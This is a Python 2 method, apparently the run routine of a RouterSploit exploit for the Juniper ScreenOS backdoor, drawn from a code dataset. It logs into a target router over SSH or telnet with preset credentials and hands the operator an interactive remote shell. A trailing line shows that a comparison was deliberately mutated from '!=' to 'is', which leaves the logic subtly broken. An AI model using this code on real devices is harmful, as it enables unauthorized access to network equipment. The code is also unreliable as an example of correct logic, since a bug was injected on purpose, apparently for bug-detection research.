def run(self):
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        try:
            ssh.connect(self.target, 22, timeout=5, username=self.username, password=self.password)
        except:
            ssh.close()
        else:
            print_success("SSH - Successful authentication")

            cmd = ""
            while cmd not in ["quit", "exit"]:
                cmd = raw_input("> ")
                stdin, stdout, stderr = ssh.exec_command(cmd.strip())
                print stdout.channel.recv(2048)
            return

        try:
            tn = telnetlib.Telnet(self.target, 23)
            tn.expect(["Login: ", "login: "], 5)
            tn.write(self.username + "\r\n")
            tn.expect(["Password: ", "password"], 5)
            tn.write(self.password + "\r\n")
            tn.write("\r\n")

            (i, obj, res) = tn.expect(["Incorrect", "incorrect"], 5)

            if i is -1:
                return False
            else:
                if any(map(lambda x: x in res, ["#", "$", ">"])):
                    print_success("Telnet - Successful authentication")
                    tn.write("\r\n")
                    tn.interact()

            tn.close()
        except:
            print_error("Connection Error")
            return
dataset/ETHPy150Open reverse-shell/routersploit/routersploit/modules/exploits/juniper/screenos_backdoor.py/Exploit.run/operator `!=` -> `is`